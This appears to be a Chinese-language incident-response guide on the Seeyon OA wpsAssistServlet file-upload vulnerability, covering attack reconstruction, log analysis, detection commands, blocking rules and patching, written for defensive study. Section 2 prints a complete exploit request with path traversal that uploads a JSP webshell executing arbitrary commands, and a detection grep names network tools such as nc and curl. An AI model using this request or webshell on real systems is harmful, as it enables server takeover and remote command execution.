当前位置: 首页 > news >正文

从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何上传WebShell及如何排查

企业安全实战:致远OA wpsAssistServlet漏洞攻击溯源与应急响应指南

去年某金融企业内网渗透测试中,我们遇到一个典型案例:攻击者仅用3小时就通过致远OA漏洞完成从外网入侵到内网横向移动的全过程。事后分析发现,攻击链的起点正是wpsAssistServlet接口的任意文件上传漏洞。本文将基于真实攻防对抗经验,还原攻击者如何利用该漏洞植入WebShell,并为企业安全团队提供可落地的排查方案。

1. 攻击事件复盘:从异常告警到漏洞定位

某周四凌晨2点15分,某上市公司SOC平台突然触发多条异常告警:

  • Web服务器/tmp目录下出现异常.jsp文件
  • OA系统日志中出现大量404状态码的/seeyon/wpsAssistServlet请求
  • 数据库服务器出现非常规时间段的net.exe执行记录

安全团队立即启动应急响应流程。通过分析IIS日志,发现攻击者在成功利用漏洞前进行了大量探测行为:

# 典型攻击者探测请求(已脱敏) 192.168.1.100 - - [15/Mar/2023:02:03:12 +0800] "POST /seeyon/wpsAssistServlet HTTP/1.1" 404 1532 192.168.1.100 - - [15/Mar/2023:02:03:15 +0800] "GET /seeyon/manager/login.jsp HTTP/1.1" 200 4231

攻击者常用上传路径分析

路径类型典型位置隐藏程度
Web根目录/ROOT/cmd.jsp★★☆☆☆
临时目录/tmp/1.jsp★★★☆☆
静态资源目录/static/images/logo.jsp★★★★☆
日志目录/logs/access.jsp★★★★★

注意:攻击者通常会修改文件时间戳使其与合法文件保持一致,单纯依靠时间排序可能漏检

2. 漏洞利用深度解析:攻击者的操作手册

通过还原攻击流量,我们梳理出攻击者的典型操作流程:

  1. 环境探测阶段

    • 扫描/seeyon/目录下的敏感接口
    • 检查OA版本信息(通过/seeyon/README.txt
    • 测试其他已知漏洞作为备用方案
  2. 漏洞利用阶段
    攻击者发送的特制请求包包含以下关键特征:

POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/payload.jsp&fileId=2 HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plain <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundaryABC123--
  1. 权限维持阶段
    • 创建多个WebShell副本(平均每个受害服务器发现3-5个)
    • 添加计划任务实现持久化
    • 清除部分访问日志(但会残留DELETE请求记录)

3. 企业级应急响应方案

3.1 即时处置措施

网络层封堵

# Cisco ASA示例规则 access-list OUTSIDE_IN extended deny tcp any any eq 80 url "/seeyon/wpsAssistServlet" access-list OUTSIDE_IN extended deny tcp any any eq 443 url "/seeyon/wpsAssistServlet"

主机层检测(Linux环境示例):

# 查找最近3天修改的jsp文件 find /var/www/ -name "*.jsp" -mtime -3 -ls # 检查异常进程 ps aux | grep -E 'wget|curl|nc|netcat|perl|python|php|sh|bash' # 检查计划任务 crontab -l ls -al /etc/cron.*/

3.2 深度排查指南

日志分析关键点

  1. 搜索包含wpsAssistServlet的POST请求
  2. 检查响应状态码为200但返回长度异常的请求
  3. 关注非常规时间段的文件创建事件

WebShell特征检测表

检测维度合法文件恶意WebShell
文件大小通常>5KB通常<3KB
包含关键词业务相关eval(runtime.exec
访问频率有规律突发性
引用来源内部IP境外IP

3.3 长效防护策略

  1. 补丁管理
    受影响版本应立即升级至:

    • A8 V8.1SP2(补丁编号:SEEYON-2023-001)
    • G6 V8.2(补丁编号:SEEYON-2023-002)
  2. 防御加固

    • 在Nginx层添加规则拦截恶意请求:
    location ~* ^/seeyon/wpsAssistServlet { deny all; }
    • 启用文件完整性监控(FIM)关键目录:
    # 监控Web根目录变化 auditctl -w /var/www/html/ -p wa -k web_content

4. 攻击痕迹取证与溯源

在一起制造业客户案例中,我们通过以下方法成功定位攻击者:

  1. 从Web访问日志中提取唯一User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51
  2. 关联威胁情报发现该UA与某APT组织工具特征匹配
  3. 通过WAF日志还原攻击路径时间线:
时间操作源IP结果
02:03目录扫描185.xxx.xxx.xx发现wpsAssistServlet
02:17首次上传测试185.xxx.xxx.xx失败(参数错误)
02:29成功上传WebShell185.xxx.xxx.xx返回200
02:35执行whoami命令185.xxx.xxx.xx获取nt authority\system

在实际处置过程中,我们发现多数企业存在以下盲点:

  • 未监控/tmp等临时目录的文件变化
  • 允许OA服务器直接连接数据库
  • 缺乏对.jsp文件的内容检测机制
http://www.rkmt.cn/news/1527358.html

相关文章:

  • 山东大学项目实训个人纪实(6)——降低唇形同步性能需求
  • 2026年光伏围栏网厂家怎么选?7家实力企业横向对比与采购指南 - 优质品牌商家
  • 避坑指南:在AT32F403A上配置8串口中断,这些细节千万别忽略
  • 【Springboot毕设全套源码+文档】基于vue+springboot高校校友信息管理系统的设计与开发(丰富项目+远程调试+讲解+定制)
  • 避开噪声坑:用ETA6002给锂电池充电,你的后级电路真的安全了吗?
  • 南通五大猫舍犬舍测评:伴西西领跑,潮湿地区购宠首选 - 同城宠物优选基地
  • 盐城五大猫舍犬舍测评:伴西西登顶,沿海购宠避坑首选 - 同城宠物优选基地
  • CANN Ascend C语言扩展深度解读:SIMD/SIMT混合编程模型与Reg向量化架构设计原理
  • 阿里云ECS认证考试一次过!保姆级报名+考试全流程(附最新题库解析)
  • 2026年重庆公办高中全景观察:格局、趋势与400分段升学路径深度解读 - 优质品牌商家
  • 从JAT期刊看趋势:智能交通(ITS)与AI论文投稿,哪些方向今年更受青睐?
  • 第23章:结构化数据问答——SQL、Pandas 与业务报表
  • ARM Cortex-M3/M4调试实战:如何通过Bus Fault状态寄存器精准定位内存访问错误?
  • 凉席哪家品牌评价高
  • 2026年更新:太原车身无痕修复商家推荐与选择指南 - 品牌鉴赏官2026
  • 2026年南昌黄金首饰回收行业现状与机构实力分析:如何选择靠谱回收渠道? - 优质品牌商家
  • 2026深圳全屋定制真实测评:揭秘高分工厂店的硬核底牌与避坑指南
  • 2026嘉兴喷涂处置方案深度解析:热喷涂技术选型与本地服务商综合评析 - 优质品牌商家
  • 别再猜了!MPU6050的CPOUT引脚,数据手册没写清楚的电容选型避坑指南
  • 2026 合肥 5 家猫犬舍实测:伴西西领跑,新手购宠避坑必看 - 同城宠物优选基地
  • 世界杯还没结束,但AI已经把创意玩疯了
  • 泛微E9流程创建API避坑指南:主表字段、附件上传那些容易出错的细节
  • 礼品厂主要分布在哪里?各产区有什么差异?
  • MySQL 8启动报错‘binlog.index not found‘?别急着重装,先检查这个初始化参数
  • MySQL 8启动报错‘binlog.index‘找不到?别急着重装,先检查这个初始化参数
  • 2026年武夷岩茶加盟品牌选择参考:基于品牌实力与市场适配度的多维度分析 - 优质品牌商家
  • 2026年小笼包加盟市场深度观察:品牌模型、利润与风险全解析 - 优质品牌商家
  • 2026年乐山装修公司怎么选?本地7家机构实地考察与业主真实反馈盘点 - 优质品牌商家
  • 避坑指南:用Wireshark抓包分析WPS(WSC)的M1-M8,这5个细节新手最易忽略
  • 嵌入式面试别再背八股文了!这5个C语言‘坑’题,我敢说一半人答不对